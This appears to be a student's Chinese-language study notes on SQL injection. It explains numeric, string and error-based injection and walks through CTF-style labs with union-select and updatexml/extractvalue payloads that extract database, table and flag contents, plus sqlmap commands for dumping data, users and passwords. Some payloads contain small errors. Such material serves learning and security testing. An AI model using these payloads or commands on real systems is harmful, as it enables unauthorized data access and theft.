首先,要理解sql注入的原理:
SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。(我的理解:就是我们可以利用程序员编写代码是的漏洞通过自己拼接的sql语句查询我们想要得到的信息)
为什么要闭合:https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html
sql注入的常见类别:
1.数字型注入;
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1',
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1(Url 地址中输入 http://xxx/asdfg.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。x为变量)
语句正确,执行正常,返回的数据与原始请求无任何差异。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2(Url 地址中继续输入 http://xxx/asdfg.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。)
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
2.字符型注入;
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = '1'
判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 1' 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = '1''。
页面异常。
② 输入:1' and '1' = '1
注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = '1' and '1' = '1
页面显示正确。
③ 输入:1' and '1' = '2
SQL 语句变为:
SELECT * FROM table WHERE username = '1' and '1' = '2
页面错误。
3.布尔盲注;
4.时间盲注;
5.报错注入;
6.搜索注入;
注入处为搜索的地方
7.GET注入;
注入字段在GET数据中
8.POST注入;
注入字段在 POST 数据中
9.Cookie注入;
注入字段在Cookie 数据中
10.Mysql结构;
.......
Order by:(可以判断列数)
ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们轻松对查询结果进行排序,让结果更有意义和可读性。通过合理使用ORDER BY语句,我们可以更好地利用SQL的强大功能,提高我们的查询效率和数据分析能力。
函数:
1.GROUP_CONCAT()是mysql提供的一个函数,它的作用是将所选表中的各个字段通过特定字段拼接起来。
2.
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema数据库中包含的信息特别重要,通过这个表我们可以去获取到存在SQL注入网站的表,列,等信息。
3.
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
看下面这个表更加直观一点:
具体可以查看什么是脱库:你的个人信息是如何被盗走的?MySQL脱库,脱库的原理,怎么脱库,脱库的步骤,一库三表六字段_数据脱库是什么意思-优快云博客
一:整数型注入:
输入 ?id=1 and 1=1 ,发现正常回显,但是输入?id=1 and 1=2无回显
可以判断有注入点,接下来用 order by 判断列数
输入: ?id=1 order by 1和?id=1 order by 2都有回显,但是输入到?id=1 order by 3时就没有回显了,所以判断只有两列
接下来输入:?id=-1 union select 1,database(),查询数据库
注:其中id=-1是为了让前面所查询的不存在,从而爆出回显位置
例如:执行命令:?id=-1 union select 1,2 为了让只得到select 1,2的结果,然后判断出二这个位置可以被代替
发现回显给了我们库名:sqli
接下来输入:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli",查询库中的表
在回显中发现了两个列:news和flag,我们查询flag这个列
输入:?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' ,进行查列
根据回显提示,查询成功,接下来输入:
?id=-1 union select 1,group_concat(flag) from sqli.flag查询字段的内容
得到flag
补充:
sqlmap注入:
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db
二:字符型注入:
这里先说一下注释(如:#;--+)的作用,详情查看:关于sql注入中的 --+_sql注入中的--+-优快云博客
输入:?id=1' and '1'='1
接着再输入:?id=1' and '1'='2
发现没有回显,所以判断此 Sql 注入为字符型注入
输入:1' order by 1,2#判断列数,输入此命令正常回显
再输入:1' order by 1,2,3#,输入此命令不回显
接下来输入:-1' union select 1,2# 判断回显位
根据回显信息发现,‘2’是与数据库相连的,说明“2”为注点
接下来,输入:?id=-1' union select 1,database()%23 爆库名
这里解释一下:#和%23其实是一样的,不过%23要用在url地址栏中,而#要用在网页的输入栏中
成功爆出表名为:sqli
接下来输入:?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
爆出了两个列名,接着在列flag中爆字数段
输入:?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'%23
接着爆字数段中的所有数据
输入:?id=-1' union select 1,(select flag from flag)%23
得到flag
三:报错注入
原理:
主要是通过在输入框中,用有限的可控参数,构造指定的错误,让其在前端页面显示报错信息,可以获取到最终的信息
当我们使用SQL注入的时候,如果使用and 1=1没有回显信息,然后输入错误的信息,有报错的时候,可以使用报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
重要的函数:extractvalue和updatexml都是MySQL对于XML文档数据进行查询的xpath函数,两个函数都是让参数中出现特殊符号,导致函数报错,并且将特殊符号之后的内容回显在报错语句语句中
(还有floor等函数我还没学习)
1.updatexml()函数:
payload:updatexml(Xml_document,Xpathstring,new_value)
xml_document:xml标记
Xpathstring:显示输入语句
new_value:新值
以上这个为该函数的参数,通过学习这个我们可以自己进行构造
1' and updatexml(1,concat('~',database(),'~'),1) -- #爆库;
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- #爆表;
1' and updatexml(1,concat('~',(select group_concat(select column_name from information_schema.columns where columns_name =xxx ) ,0x7e) , 3)#爆字段;
2.extractvalue()函数
extractvalue(XML_document,XPath_string)
XML_document:XML文档对象名称
XPath_string:输入的操作语句
extractvalue和updatexml在构造注入语句时的主要的区别在于参数数量
1' and extract(1,concat(0x7e,database(),0x7e))#爆库
1' and extract(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = xxx),0x7e))#爆表
1' and extract(1,concat(0x7e,group_concat(select column_name from information_schema.columns where columns_name =xxx ),0x7e))#爆字段
输入命令:
1 and (select extractvalue(1, concat(0x7e, (select database()))))爆库
关于上面这条命令(详解见):SQL注入中的报错注入,updatexml(1,concat(0x7e,database(),0x7e),1)_1 and updatexml(1,(concat(0x7e,(select database())-优快云博客
接着根据报错的信息输入:爆表
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
再输入:爆字数段
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))
输入:爆字数段中所有数据
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))
得到flag
未完.......